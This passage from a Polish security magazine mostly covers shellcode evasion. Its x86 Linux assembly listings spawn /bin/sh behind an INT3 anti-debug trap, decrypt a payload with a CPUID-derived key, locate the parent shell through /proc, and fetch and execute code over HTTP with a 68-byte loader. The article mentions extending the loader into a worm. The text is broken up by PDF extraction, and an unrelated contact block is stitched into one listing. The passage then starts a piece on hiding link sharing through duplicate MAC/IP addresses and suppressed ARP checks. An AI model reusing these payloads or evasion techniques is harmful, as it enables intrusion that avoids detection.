weźmie w pierwszej kolejności pod
lupę właśnie te bajty i istnieje szan-
sa, że rozpozna je jako nagłówek po-
prawnego bądź uszkodzonego archi-
wum ZIP. Nawet jeśli system monito-
ringu nie jest w stanie rozpoznać for-
matu ZIP, to i tak uzyskamy pewną
przewagę, jako że bajty nagłówkowe
są rzadko używane w kodach powło-
ki, co uczyni nasze rozwiązanie trud-
niejszym do wykrycia.

Przy próbie podszywania się pod

taki czy inny format, powodzenie ata-
ku zależy prawie zawsze od głębo-
kości analizy przeprowadzanej przez
system monitorowania. Nie zawsze
też udaje się zrekonstruować dany
format w taki sposób, aby można go
było przetłumaczyć na poprawne in-
strukcje asemblera. Czasami też trud-
no jest w pełni odtworzyć z poziomu
kodu powłoki strukturę formatu. W re-
zultacie system monitorujący, który
szuka dostatecznie głęboko, będzie w
stanie zauważyć, że coś jest nie tak.
Przeglądając listę popularnych forma-
tów można zauważyć, że niektóre z
nic maja luźniejszą strukturę niż inne
– zarówno w odniesieniu do nagłówka
jak i do zawartości. Dobrymi kandyda-
tami są formaty reprezentujące dane
multimedialne – w szczególności w
postaci surowej (nie skompresowa-
nej). Formaty te są zazwyczaj bardzo
elastyczne i co ważne – na tyle popu-
larne, aby postrzegać je jako część ty-
powego ruchu w Sieci (Listing 5.).

Bitmapa (.BMP) jest surowym for-

matem do reprezentacji obrazu, który
jest wręcz idealną przykrywką dla ko-
du powłoki. Trik w tym przypadku po-
lega na tym, iż trudno wyobrazić sobie
system monitorowania, który potrafił-
by przewidzieć czy danych obraz jest
prawdziwy czy nie. Koncepcję tę moż-
na oczywiście stosować w odniesieniu
do innych formatów – dobrymi kandy-
datami są RIFF (.WAV) oraz Rich Text
(.RTF). Podstawowym ograniczeniem
przy stosowaniu tej techniki jest fakt,
że wszystkie bajty występujące w na-
główku formatu, który planujemy wy-
korzystać jako kamuflaż kodu powło-
ki muszą być prawidłowymi instruk-
cjami asemblera. W innym przypadku
wywołanie kodu powłoki zakończy się
błędem naruszania dostępu w trakcie
wykonania.

Ewolucja kontra

diagnozowanie w czasie

wykonania

Metoda tzw. diagnozowania w cza-
sie wykonania jest kolejnym często
stosowanym rozwiązaniem stoso-
wanym w systemach IDS oraz IPS.
Metoda ta jest zazwyczaj wykorzy-
stywana jako rozszerzenie mecha-

nizmu diagnozowania „po kablu”,
który omawiałem w jednym z po-
przednich punktów.

Kluczowym elementem opisywa-

nego w tym miejscu procesu jest ba-
danie efektów wykonania kodu, któ-
ry został sklasyfikowany jako po-

Listing 5b.

Formaty

push

$

0x6e69622f

mov

%

esp

,

%

ebx

push

%

edx

push

%

ebx

mov

%

esp

,

%

ecx

int

$

0x80

Listing 6.

Pułapka INT 3h

#
# (linux/x86) trik

anty

-

debugowy

(

INT

3

h

trap

)

+

execve

(

"/bin/sh"

,

[

"/bin/sh"

,

NULL

]

,

NULL

)

-

39

bajt

ó

w

# - [e-mail]
#
.

section

.

text

.

global

_start

_start

:

#
# Program obsługi

sygna

ł

u

rejestru

push

$

0x30

popl

%

eax

push

$

0x5

popl

%

ebx

jmp

_evil_code

#
# Sprawdzenie debugera

_evilcode_loc

:

popl

%

ecx

int

$

0x80

int3

incl

%

eax

#
# Alternatywny strumień

przetwarzania

_evil_code

:

call

_evilcode_loc

#
# Prawdziwy kod powłoki
#

cdq

movb

$

0xb

,

%

al

push

%

edx

push

$

0x68732f2f

push

$

0x6e69622f

mov

%

esp

,

%

ebx

push

%

edx

push

%

ebx

pushl

%

esp

jmp

_evilcode_loc

hakin9 Nr 1/2007

www.hakin9.org

Atak

30

dejrzany (na przykład przy pomo-
cy metody diagnozowania „po ka-
blu”). Proces ten jest przeprowadzany
w tzw. piaskownicy (ang. Sandbox),
czyli w bezpiecznym, odizolowa-
nym środowisku – może być to dla
przykładu wirtualny lub realny ser-
wer, który przetwarza/wykonuje po-
dejrzany kod, śledząc przy okazji
każdy jego krok i zapisując wyniki
jego działania. Porównując te wyniki z
danymi wyjściowymi produkowanymi
przez inne kody powłoki można łatwo
wyłapać potencjalnie niebezpieczny
kod, zaś dzięki temu, że eksperymen-
ty przeprowadzane są w piaskownicy
atakujący nie jest w stanie dokonać
żadnych poważanych uszkodzeń.

Siłą tej metody jest jej aktyw-

ny charakter. W przypadku diagno-
zy „po kablu” bazujemy głównie na
predefiniowanych zasadach – tu-
taj zaś podejrzany kod uruchamia-
ny jest na symulowanym CPU co
pozwala wyłapywać aktywność ko-
dów powłoki na najniższym z moż-
liwych poziomów. Jako, że głównym
celem kodu powłoki jest uruchomie-
nie się na CPU atakowanego syste-
mu, piaskownica może bardzo łatwo
śledzić i notować tego typu zacho-
wania. Zmiany struktury kodu powło-
ki na poziomie bajtów nic w tym przy-
padku nie pomoże, gdyż kod taki czy
tak, czy siak ukaże swoją prawdziwą
twarz w momencie wywołania.

Nie debuguj mnie

Sztuczki anty-debugowe są bardzo
popularne w przypadku komercyj-
nych aplikacji Windows. Bazują one
na dołączaniu do docelowej aplika-
cji fragmentów kodu, które utrudniają
lub uniemożliwiają debugowanie lub
wsteczną inżynierię tychże aplikacji.
Oczywiście nie zakładamy, że atako-
wany system będzie działał w trybie
odpluskwiania więc można bezpiecz-
nie założyć, że osadzanie tego rodza-
ju wstawek do kodu powłoki nie bę-
dzie przeszkodą przy uruchomieniu
go na tym systemie. Tym co naprawdę
chcemy uzyskać jest wprowadzenie
chaosu do piaskownicy. Istnieje cała
gama trików anty-debugowych, przy
czym najciekawsze nie są wcale te,
które na ślepo blokują debugery, lecz

Listing 7.

Kolejność rejestracji kodu powłoki

#
# Rejestruj program obsługi sygnału
#

push

$

0x30

popl

%

eax

push

$

0x5

popl

%

ebx

jmp

_evil_code

...

_evilcode_loc

:

popl

%

ecx

int

$

0x80

...

_evil_code

:

call

_evilcode_loc

...

Listing 8.

Po uruchomieniu przerwania INT3 następuje docelowy test

#
# Sprawdzenie debugera
#

_evilcode_loc

:

...

int3

...

Listing 9.

Debuger zdejmuje wartość ze stosu i wartość EIP zwiększa

się o jeden

#
# Sprawdzenie debugera
#

_evilcode_loc

:

popl

%

ecx

int

$

0x80

int3

#
# Debugger przeniesie bieg programu w to miejsce!
#

incl

%

eax

_evil_code

:

call

_evilcode_loc

Listing 10.

Część kodu powłoki, która zostałaby uruchomiona w

sytuacji wywołania funkcji zwrotnej dla SIGTRAP

#
# Docelowy kod powłoki
#

cdq

movb

$

0xb

,

%

al

push

%

edx

push

$

0x68732f2f

push

$

0x6e69622f

mov

%

esp

,

%

ebx

push

%

edx

push

%

ebx

pushl

%

esp

jmp

_evilcode_loc

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

31

te które pozwalają aplikacji stwierdzić
czy jest w trakcie debugowania – co
z kolei pozwala jej modyfikować swo-
je zachowania w zależności od odpo-
wiedzi na to pytanie.

Jeśli kod powłoki posiadałby

„świadomość” na temat tego, że zo-
stał uruchomiony w piaskownicy (lub
w środowisku debugującym), to mógł-

by wprowadzić program odpluskwia-
jący w błąd rozdzielając swój stru-
mień przetwarzania na dwie ścież-
ki – bezpieczną (zawierającą pełną
funkcjonalność) oraz niebezpieczną
(prowadzącą do wcześniejszego za-
kończenia). Patrz Listing 6.

Zaprezentowany kod powłoki im-

plementuje jeden z najbardziej pod-

stawowych trików anty-debugowych,
czyli pułapkę INT 3h. Uwięzienie po-
tencjalnego debugera polega na uru-
chomieniu przerwania 3H i ustawie-
nia programu obsługi sygnału (lub wy-
jątku) w kodzie powłoki. W rezultacie,
gdy kod powłoki działa w trybie odplu-
skwiania to przerwanie sprawi, że de-
buger się zatrzyma (INT 3h jest stan-
dardowym przerwaniem wykorzysty-
wanym przez debugery). Gdb debu-
ger zatrzyma się na kodzie, ustawi
EIP na punkt za kodem operacji INT
3h i (zakładając, że nie został prze-
konfigurowany), nie wywoła programu
obsługi zawartego w kodzie powłoki.

Kod umieszczony w procedu-

rze obsługi przerwania definiuje bez-
pieczną ścieżkę. Ścieżka niebez-
pieczna zawarta jest w sekcji na-
stępującej po kodzie operacji INT
3h. Dzięki temu, że większość inte-
raktywnych i praktycznie wszystkie
nie-interaktywne debugery nie dzie-
lą przerwania z aplikacją, kod powłoki
może tak zaplanować swój strumień
przetwarzania, aby ukryć swoje doce-
lowe przeznaczenie (Listing 7).

W pierwszej kolejności kod po-

włoki rejestruje program obsługi sy-
gnału dla SIGTRAP (INT3). Następ-
nie wykorzystuje wsteczne CALL aby
w trakcie wykonania pobrać lokację
kodu oznaczonego jako _evil_co-

de. Adres jest przekazany jako funk-
cja zwrotna do funkcji, której wywo-
łanie przeprowadzi scenariusz bez-
pieczny (zakładamy, że nie ma debu-
gera, który obserwuje strumień prze-
twarzania i kod powłoki może uru-
chomić swoją docelową funkcjonal-
ność). Patrz Listing 8.

Po

uruchomieniu

przerwa-

nia INT3 następuje docelowy test.
Program obsługi sygnału jest już zare-
jestrowany i wskazuje na _evil_code.
W tym punkcie kodu powłoki następu-
je rozdzielenie strumienia przetwarza-
nia, zaś wybór konkretnej ścieżki po-
dejmowany jest w zależności od wyni-
ku przerwania (Listing 9). W przypad-
ku jeśli debuger zdjął wartość ze stosu
i wartość EIP została zwiększona o je-
den (INT3 jest jedno-bajtowym kodem
operacji), do głosu dochodzi niebez-
pieczna ścieżka kodu. Rejestr EAX
został wyzerowany przez wywołanie

Listing 11.

Pętla dekodująca nie jest wymagana, tak jak w Listingu 10

#
#

(

linux

/

x86

)

execve

(

"/bin/sh"

,

[

"/bin/sh"

]

,

NULL

)

/

przexorowane

z

Intel

x86

CPUID

-

41

bajt

ó

w

# - [e-mail]
#
.

section

.

text

.

global

_start

_start

:

#
# CPUID w celu załadowania klucza
#

xorl

%

eax

,

%

eax

cpuid

#
# Wrzuć na stos przexorowany ładunek (drugi kod powłoki)
#

pushl

%

ecx

pushl

$

0xeca895e7

pushl

$

0x3f377fde

pushl

$

0x8fec1a07

pushl

$

0x0e4a1c6e

pushl

$

0x04165b06

#
# Deszyfruj ładunek w odniesieniu do wartości CPUID
#

_unpack_loop

:

xorl

%

ecx

,

(%

esp

)

popl

%

edx

jnz

_unpack_loop

#
# Przeskocz do odszyfrowanego kodu powłoki
#

subl

$

0x18

,

%

esp

pushl

%

esp

ret

Listing 12.

Kod operacji CPUID

#
# CPUID do wczytania--

Marta

Ogonek

Product

manager

of

hakin9

Hard

Core

IT

Security

magazine

www

.

en

.

hakin9

.

org

Software

Wydawnictwo

Sp

.

z

o

.

o

Piaskowa

3

,

01

-

067

Warsaw

,

Poland

Phone

:

+

4822

887

14

57

Fax

:

+

4822

887

10

11

the

key

#

xorl

%

eax

,

%

eax

cpuid

...

hakin9 Nr 1/2007

www.hakin9.org

Atak

32

systemowe

signal()

. Debuger kon-

tynuuje przetwarzanie od INT3, dalej
zwiększa wartość EAX o jeden (war-
tość ta reprezentuje teraz wywołanie
systemowe EXIT) i kończy wywołując
kod oznaczony

_ evilcode _ loc

, gdzie

dzięki instrukcji INT $0x80 tożsamej z
wywołaniem systemowym

exit()

kod

powłoki kończy swoje działanie. Zo-
baczmy co by się działo gdyby nie by-
ło debugera (Listing 10.).

Przedstawiony kod reprezentuje

tę część kodu powłoki, która zosta-
łaby uruchomiona w sytuacji wywo-
łania funkcji zwrotnej dla SIGTRAP.
Jeśli do tego dojdzie, kod powłoki za-
atakuje system wywołując /bin/sh.

Korzystając z koncepcji wykony-

wania w locie testów, które pozwalają
na to by kod powłoki uzyskał wiedzę
odnośnie natury środowiska w jakim
jest on uruchamiany, możemy znacz-
nie zwiększyć prawdopodobieństwo
jego przebrnięcia przez Sieci typu Ho-
neypot, piaskownice lub aplikacje mo-
nitorujące. Główną zaletą takiego po-
dejścia jest ochrona przez potencjal-
nym zdemaskowaniem.

Miażdżenie na CPU

Kryptografia jest rozwiązaniem które
wybiera się zazwyczaj gdy chcemy za-
pewnić, aby w przypadku przechwyce-
nia naszych danych przez zewnętrzny
podmiot, dane te były niemożliwe do
odczytania. Jednakże aby uzyskać ta-
ki efekt, strony które planują przesyłać
sobie zaszyfrowane informacje mu-
szą uzgodnić i wymienić określony,
tajny klucz. Wymiana taka nie wcho-
dzi w grę gdy próbujemy infiltrować
atakowany system wbrew jego woli.

Tajne porozumienie bez wy-

miany kluczy znane jest pod na-
zwą metody wczesnego dziele-
nia kluczy (ang. pre-shared key

method). Idea tej metody polega na
tym, że obydwie strony używają zna-
nego z góry, tego samego klucza,
dzięki czemu nie muszą przeprowa-
dzać procesu wymiany. Znając taki
klucz można by zaszyfrować nim kod
powłoki, dzięki czemu byłby on zdeko-
dowany dopiero na docelowej maszy-
nie, bezpiecznie omijając wszelkie-
go rodzaju piaskownice. Kod powło-
ki może uzyskać dostęp do niemal-

Listing 13.

Kod operacji CPUID daje nam dostęp do pożądanej

informacji

#
# Wrzuć na stos przexorowany
ł

adunek

(

drugi

kod

pow

ł

oki

)

#

pushl

%

ecx

pushl

$

0xeca895e7

pushl

$

0x3f377fde

pushl

$

0x8fec1a07

pushl

$

0x0e4a1c6e

pushl

$

0x04165b06

Listing 14.

Deszyfrowanie kodu

#
# Deszyfruj ładunek

w

odniesieniu

do

warto

ś

ci

CPUID

#

_unpack_loop

:

xorl

%

ecx

,

(%

esp

)

popl

%

edx

jnz

_unpack_loop

#
# Przeskocz do

odszyfrowanego

kodu

pow

ł

oki

#

subl

$

0x18

,

%

esp

pushl

%

esp

ret

Listing 15a.

Sprawdzanie w czasie wykonania, która powłoka jest

dostępna

#
#

(

linux

/

x86

)

getppid

()

+

execve

(

"/proc/<pid>/exe"

,

[

"/proc/<pid>/exe"

,

NULL

])

-

51

bajt

ó

w

# - [e-mail]
#
# * podziękowania dla pR za pętlę _convert ;-)
#

.

section

.

text

.

global

_start

_start

:

#
# Kto jest twoim rodzicem?
#

push

$

0x40

popl

%

eax

int

$

0x80

#
# Zamień INT na ASCII
#

_convert

:

decl

%

esp

cdq

pushl

$

0xa

popl

%

ebx

divl

%

ebx

addb

$

0x30

,

%

dl

Ewolucja shellcodów

hakin9 Nr 1/2007

www.hakin9.org

33

że każdej globalnej zmiennej lub da-
nej systemowej. Niektóre z takich in-
formacji mogą być pozyskane jesz-
cze przed rozpoczęciem ataku. Ta-
ki rodzaj koordynacji pozwala na za-
stosować model PSK (ang. Pre-Sha-

red Key).

Użycie kodu podobnego jak w

przypadku pokazanego wcześniej en-
kodera, rozszerzonego o procedurę
kryptograficzną i mechanizm wydoby-
wania klucza jest podstawą do stwo-
rzenia szyfrowanego kodu powłoki.

Ten kod powłoki jest podob-

ny do kodu powłoki w wersji enko-
dowanej. Jednakże w tym przypad-
ku pętla dekodująca nie jest wyma-
gana, tak jak to było w pokazanym
wcześniej przykładzie. Współdzielo-
nym sekretem jest tutaj nazwa pro-
ducenta procesora (np. Intel) – ten
właśnie napis będzie wykorzysta-
ny zarówno do zaszyfrowania jak
i odszyfrowania go na docelowej
maszynie przed uruchomieniem.
Oznacza to, że użycie jako PSK
nazwy innego producenta dałoby w
wyniku niepoprawny kod, całkowi-
cie nieprzydatny z punktu widzenia
analizy. Przykład z nazwą producen-
ta procesora pokazuje jak łatwo pod-
miot atakujący może zebrać dane po-
trzebne do przeprowadzenia tego ty-
pu działania. W tym przypadku infor-
mację tę można uzyskać z poziomu
asemblera przy użyciu kodu operacji
CPIUD (Listing 12).

Kod operacji CPUID daje nam

dostęp do pożądanej informacji.
W pierwszej fazie zaszyfrowany kod
powłoki jest wrzucony na stos (po-
dobnie jak w przypadku omawiane-
go wcześniej enkodera/dekodera).
Patrz Listing 13.

Kiedy zaszyfrowany kod powło-

ki jest już umieszczony na stosie to
należy wziąć się za jego odszyfro-
wanie wykorzystując do tego odpo-
wiedź pozyskaną z CPUID. Nieste-
ty nie posiadamy żadnej kontroli nad
tym procesem – tak samo jak nie
jesteśmy w stanie zweryfikować
powodzenia tego przedsięwzięcia.
Jeśli CPIUD zwrócił nazwę inne-
go producenta niż się spodziewali-
śmy (np. AMD) to w wyniku otrzy-
mamy bezużyteczne asemblerowe

Listing 15b.

Sprawdzanie w czasie wykonania, która powłoka jest

dostępna

movb

%

dl

,

(%

esp

)

testl

%

eax

,

%

eax

jnz

_convert

cdq

#
# Uruchom [/proc/

<pid>

/exe]

#

popl

%

ebx

pushl

%

edx

pushl

$

0x6578652f

pushl

%

ebx

pushl

$

0x2f636f72

pushl

$

0x702f2f2f

movb

$

0xb

,

%

al

movl

%

esp

,

%

ebx

pushl

%

edx

pushl

%

ebx

movl

%

esp

,

%

ecx

int

$

0x80

Listing 16.

Wpis domyślny

#
# Kto jest twoim rodzicem?
#

push

$

0x40

popl

%

eax

int

$

0x80

Listing 17.

Przekształcenie funkcji getppid() do postaci ASCI

#
# Zamień INT na ASCII
#

_convert

:

decl

%

esp

cdq

pushl

$

0xa

popl

%

ebx

divl

%

ebx

addb

$

0x30

,

%

dl

movb

%

dl

,

(%

esp

)

testl

%

eax

,

%

eax

jnz

_convert

cdq

Listing 18.

Wywołanie systemowe execve()

#
# Uruchom [/proc/

<pid>

/exe]

#

popl

%

ebx

pushl

%

edx

pushl

$

0x6578652f

pushl

%

ebx

pushl

$

0x2f636f72

pushl

$

0x702f2f2f

movb

$

0xb

,

%

al

movl

%

esp

,

%

ebx

pushl

%

edx

pushl

%

ebx

movl

%

esp

,

%

ecx

int

$

0x80

hakin9 Nr 1/2007

www.hakin9.org

Atak

34

śmieci, które przy próbie wykonania
najprawdopodobniej spowodują po-
wstanie wyjątku (Listing 14).

Po zakończeniu deszyfrowania

pozostaje wykonać skok do docelowej
sekcji kodu powłoki. To czy we wspo-
mnianej sekcji znajdują się właściwe
instrukcje zależy od tego czy trafili-
śmy na właściwą nazwę producenta
procesora. W każdym innym przypad-
ku wywołanie wynikowego kodu za-
kończy się powstaniem wyjątku.

Rozwiązania bazujące na przed-

stawionej koncepcji można oczywi-
ście modyfikować, na przykład wy-
korzystując inną nazwę producenta
(chociażby AMD).

Ewolucja kontra

kustomizacja

Jak dotąd dyskutowane prze-
szkody pojawiające się na drodze
kodów powłoki były związane
z występowaniem takich mecha-
nizmów ochronnych jak NIDS czy
IPS. Jednakże w wielu przypadkach
– szczególnie w kontekście ataków
skierowanych przeciwko rozbudo-
wanym organizacjom, pojawiają się
problemy wynikające z właściwo-
ści atakowanego systemu. Na przy-
kład, jednym z podstawowych błę-
dów przy projektowaniu kodów powło-
ki jest wstawianie wartości ustawio-
nych na stałe – odnosi się to przede
wszystkim do napisu /bin/sh. Problem
w tym, że wcale nie ma gwarancji, że
program sh znajduje się w katalogu

bin; co więcej – katalog bin wcale nie
musi istnieć w atakowanym systemie.
Oczywiście w większości przypadków
(powiedzmy, że około 80%) atak za-
pewne się powiedzie, jednakże dla
pozostałych 20% wywołanie syste-
mowej funkcji

execuve()

zakończy się

niepowodzeniem mimo tego, że kod
powłoki udało się uruchomić. W rze-
czywistości kustomizacja jest czynni-
kiem, który należy na poważnie wziąć
pod uwagę przy projektowaniu kodów
powłoki. Praktyka ta jest powszechnie
stosowana zarówno wśród systemów
z rodziny Linux jak i BSD i wynika z
dużej różnorodności dystrybucji oraz
łatwości w dopasowywaniu struktury
systemu, dzięki której administratorzy
oraz zaawansowani użytkownicy są w

stanie w pełni dopasować ją w odnie-
sieniu do własnych potrzeb i preferen-
cji. Zjawisko kustomizacji jest również
prawie zawsze spotykane w przypad-
ku systemów osadzonych oraz dedy-
kowanych.

Podążam za rodzicem!

Sprawdzanie w czasie wykonania,
która powłoka jest dostępna, da-
je kodowi powłoki szansę na obej-
ście problemu związanego z kusto-
mizacją. Jednym ze sposobów, któ-
re można w tym celu wykorzystać
(w odniesieniu do systemu Linux)
jest przeglądanie hierarchii proce-
sów. Jeśli przyjrzymy się bliżej tej
hierarchii to zauważymy pewną
prawidłowość – otóż dla zakresów
głębokości od 0 do 3 proces ma-
cierzysty jest zazwyczaj powłoką.
Jedynym wyjątkiem odnośnie tej
reguły jest proces initd, który uru-
chamia samo jądro.

Do sprawdzenia kto jest rodzicem

kodu powłoki wystarczy proste wywo-
łanie

getppid()

, które zwróci identyfi-

kator PID jego procesu macierzyste-
go. Identyfikator ten jest kluczem, któ-
rego kod powłoki użyje później w ce-
lu zbadania wpisu /proc powiązanego
ze swoim rodzicem. Wpis ten zwiera
informacje na temat ścieżki pliku wy-
konywalnego oraz argumentów wy-
wołania przekazanych przy jego uru-
chomieniu. Domyślnie wpis ten jest
dostępny dla każdego procesu (Li-
sting 16).

Funkcja

getppid()

zwraca war-

tość będącą liczbą całkowitą (ang.

integer). Do naszych celów war-
tość tę trzeba będzie przekształcić
do postaci ASCI. Potrzeba ta wy-
nika z faktu, iż zwrócony PID misi
być wstawiony do napisu określa-
jącego ścieżkę (np. /proc/<pid>/

exe). Ścieżka ta określa plik wy-
konywalny macierzystego proce-
su (Listing 17.). Mając wartość

getppid()

w postaci ASCII pozo-

staje jedynie przekazać ją do wy-
wołania systemowego

execve()

.

W rezultacie otrzymaliśmy dość

uogólniony program do uruchamiania
powłoki, gdzie jedyną zabitą na stałe
wartością jest napis /proc, który w naj-
bliższym czasie raczej się nie zmieni.

Listing 19.

Przykładowy loader

#
# (x86/linux) HTTP/1.x GET,

Pobieranie

i

wywo

ł

ywanie

operacji

JMP

-

68

+

bajt

ó

w

# - [e-mail]
#

.

section

.

text

.

global

_start

_start

:

push

$

0x66

popl

%

eax

cdq

pushl

$

0x1

popl

%

ebx

pushl

%

edx

pushl

%

ebx

pushl

$

0x2

movl

%

esp

,

%

ecx

int

$

0x80

popl

%

ebx

popl

%

ebp

movl

$

0xfeffff80

,

%

esi

movw

$

0x1f91

,

%

bp

#
# nie %bp, dla numerów portów

< 256

#

notl

%

esi

pushl

%

esi

bswap

%

ebp

orl

%

ebx

,

%

ebp

pushl

%

ebp

incl

%

ebx

pushl

$

0x10

pushl

%

ecx

pushl

%

eax

movb

$

0x66

,

%

al

movl

%

esp

,

%

ecx

int

$

0x80

_gen_http_request

:

#
# < wykorzystaj gen_httpreq.c,
w celu wygenerowania
żądania HTTP GET.

>

#

_gen_http_eof

:

movl

%

esp

,

%

ecx

_send_http_request

:

movb

$

0x4

,

%

al

int

$

0x80

_recv_http_request

:

movb

$

0x3

,

%

al

pushl

$

0x1

popl

%

edx

int

$

0x80

incl

%

ecx

testl

%

eax

,

%

eax

jnz

_recv_http_request

_jmp_to_code

:

subl

$

0x6

,

%

ecx

jmp

*%

ecx

Jeszcze jedną kwestią nad

którą warto się zastanowić to pro-
blem pojedynczo i wielowątkowych
demonów. Aby zastosować omawia-
ną metodę dla procesów powsta-
łych na bazie

fork()

-owania należa-

łoby zastosować rekurencyjną pro-
cedurę przetwarzania drzewa rodzi-
ców. W przypadku demonów jedno-
wątkowych potrzeba taka nie wystę-
puje. Kod powłoki pokazany powyżej
odnosi się właśnie do demonów jed-
nowątkowych.

Ewolucja kontra

Ograniczenia

Różne scenariusze ataku narzucają
różne ograniczenia: na przykład po-
szczególne protokoły operują na bu-
forach o różnej długości itd. Z tego
względu kody powłoki powinny mieć
możliwość dopasowania się do ota-
czającego je aktualnie środowiska.
Najbardziej popularne ograniczenie
związane jest z limitem wielkości ko-
du. Istnieje oczywista korelacja po-
między poziomem funkcjonalności
kodu powłoki a jego wielkością. Z lo-
gicznego punktu widzenia, im bardziej
złożona jest wspomniana funkcjonal-
ność, tym więcej będzie potrzeba ko-
dów operacji w celu jej zaimplemen-
towania. Aby móc budować bardziej
sprytne i zaawansowane rozwiąza-
nia problem wielkości musi być prze-
zwyciężony. W innym przypadku nasz
super-inteligentny kod powłoki będzie
odrzucony na poziomie protokołu i ca-
ła nasza praca pójdzie na marne.

Podział na fazy

Dzielenie każdej logicznej operacji na
mniejsze zadania pozwala tworzyć
potoki. Ta ogólna zasada działa rów-
nie dobrze w odniesieniu do kodów
powłoki. Jeśli kod taki nie może prze-
prowadzić pełnego ataku jednorazo-
wo, to powinien być pobrany przez in-
ny, mniejszy kod powłoki. W tej sytu-
acji, zamiast budowania jednego kodu
powłoki, który robi wszystko na-
raz, warto podzielić funkcjonalność
na główną logikę oraz jej wczyty-
wanie. Za wczytywanie będzie od-
powiadał mniejszy kod powłoki
którego podstawowym zadaniem bę-
dzie uruchomienie kodu docelowego.

Mając taki zewnętrzny loader może-
my wczytywać większe i bardziej za-
awansowane kody powłoki nie mar-
twiąc się o ich rozmiar.

Listing 19 przedstawia przy-

kładowy loader. Potrafi on pobrać
binarny kod powłoki z zadanego URL
a następnie wpisać go do bufora
i wykonać do niego skok. Po skróce-
niu kod loadera zajmuje jedynie 68
bajtów, aczkolwiek mimo to potrafi ko-
munikować się z dowolnym serwerem
HTTP działającym na bazie protoko-
łów HTTP/1.0 oraz HTTP/1.1. Pobra-
ny kod jest dla odmiany wolny od ja-
kichkolwiek limitów (na przykład dłu-
gości czy zakazu występowania zna-
ku

NULL

). Oczywiście sam loader tym

limitom nadal podlega.

Prezentowane podejście mo-

że być bardzo przydatne przy au-
tomatyzacji testów penetracyjnych.
Dla przykładu, można by się po-
kusić o niewielki serwer, który bę-
dzie wychwytywał potwierdzenia o
udanych włamaniach do systemów
na zasadzie obserwowania żądań
wysyłanych przez loader. Po wpro-
wadzeniu kilku modyfikacji loader
mógłby zbierać i wysyłać informacje
identyfikacyjne na temat atakowa-
nego systemu dzięki czemu serwer
mógłby wybrać i odesłać kod powło-
ki najbardziej adekwatny do zadanej
konfiguracji. Rozwijając tę koncep-
cję można by również zaimplemen-
tować samo-rozprzestrzeniającego
się robaka.

W przypadku tego konkretne-

go kodu powłoki zastosowałem na-
rzędzie zwane gen_httpreq.c, które
pozwala łatwo wygenerować na ba-
zie zadanego URL napis zawierają-
cy żądanie HTTP.

Podsumowanie

W powyższym tekście pokaza-
łem pewne czynniki oraz przeszko-
dy wpływające na strukturę i spo-
sób działania kodów powłoki. Niejako
z definicji temat nie został wyczerpa-
ny, jako że kody powłoki to technolo-
gia ciągle ewoluująca. Cel tej ewolucji
jest za to niezmienny: przeprowadzać
udane ataki bez bycia zauważonym.

http://www.tty64.org/code/shellcodes/
archiwum źródeł kodów powłoki

l

www.hakin9.org

www.hakin9.org

hakin9 Nr 1/2007

36

Obrona

A

nie można jeszcze prościej? Jakiś
czas temu opublikowaliśmy w „Ha-

kin9u” sążnisty artykuł na temat de-

tekcji nielegalnego podziału łącza interneto-
wego (Mariusz Tomaszewski, Maciej Szmit,
Marek Gusta, „Sprzątanie pajęczyn – detek-
cja nielegalnego współdzielenia łącza”, „Ha-
kin9” nr 2/2005 str. 10-18, dostępny w wersji
on line http://www.haking.pl/pl/attachments/

lacze_pl.pdf). Konkluzja była mniej więcej
taka, że „pajęczarze” posługują się rozwią-
zaniami III warstwy modelu ISO/OSI (NAT
ze wszystkimi jego odmianami) i znacznie
trudniejszymi do wykrycia proxy (IV warstwy
– tzw. pośrednikami obwodowymi i VII war-
stwy – proxy aplikacyjnymi). Ale jak się oka-
zuje, można jeszcze prościej. Wystarczy,
że zdolny użytkownik nada po prostu dwóm
komputerom ten sam adres MAC i ten sam
adres IP, a następnie podepnie je do huba,
który z kolei podłączy do swojego „wyjścia
na świat” (Rysunek 1).

Oczywiście – jeśli komputery pracować

będą pod kontrolą ulubianego (przez wie-
lu) systemu operacyjnego – pojawiły się ko-
munikaty o zduplikowanym adresie IP. Ko-
munikaty te biorą się stąd, że Windows w

momencie uruchomienia interfejsu siecio-
wego (a dokładniej – nadania mu numeru
IP) sprawdza za pomocą kilku zapytań ARP-
request o własny adres, czy w Sieci nie ma
innego komputera o tym samym IP. Zapy-
tania te zdolny użytkownik może usunąć
ustawiając w rejestrze wartość klucza:

HKLM\

SYSTEM\CurrentControlSet\Services\Tcpip\
Parameters\ArpReplyCount na zero

Huby w pajęczynach

i złośliwe m-routery

Maciej Szmit
Mariusz Tomaszewski

stopień trudności

Im dłużej zajmujemy się komputerami tym mocniej wierzymy

w krasnoludki, Babę Jagę oraz liczne mniej lub (częściej)

bardziej złośliwe chochliki. Właściwie nawet nie nie tak: nie tylko

wierzymy, ale poznajemy ich zwyczaje, sympatie i antypatie,

a czasami nawet okoliczności, w jakich przychodzą na świat.

No bo wyobraźcie sobie tylko...

Z artrykułu dowiesz się...

• o dość nietypowej metodzie współdzielenia łą-

cza internetowego,

• o problemach z wykrywaniem ARP-spoofingu,

które może spowodować,

• nietypowa konfiguracja linuksa,
• o nietypowej obsłudze ramek grupowych przez

niektóre urządzenia sieciowe.

Powinieneś wiedzieć...

• co to jest ARP-spoofing,
• do czego służy protokół ICMP,
• czym się różni switch od huba.

Huby w pajęczynach i złośliwe m-routery

hakin9 Nr 1/2007

www.hakin9.org

37

W konsekwencji komunikaty

o zduplikowanym adresie przesta-
ną się pojawiać.

Ponadto na obydwu maszynach

trzeba uruchomić personalne fire-
walle (my wykorzystaliśmy do tego
celu program ZoneAlarm) po to, aby
ustawić porty w nieznany z RFC stan
stealth (port ukryty). Te zabiegi przy-
niosą oczekiwany skutek – na obu
komputerach można spokojnie sur-
fować sobie po Internecie, a że infor-
macja wysyłana do jednego trafiała
również do drugiego? No cóż – taka
już przecież jest natura huba ;)

Spróbujmy prześledzić to roz-

wiązanie nieco poważniej – segmen-
ty TCP generowane przez pierwszy
komputer (dajmy na to segment na-
wiązania połączenia TCP SYN)
– trafiały oczywiście do adresata,
który wysyłał w odpowiedzi swoją
odpowiedź (dajmy na to SYN+ACK)
pod adres naszego komputera.
Oczywiście odpowiedź ta trafiała
do obu maszyn, przy czym druga
z nich powinna (zakładając, że nie
trafi się nieprawdopodobna sytuacja
„trafienia” w otwarty port, z którego
komputer właśnie wysłał segment
SYN do tego samego serwera i na
dodatek opatrzony takim samym
numerem sekwencyjnym) oczy-
wiście odpowiedzieć RST. Powin-

na, ale nie odpowie, bowiem osobi-
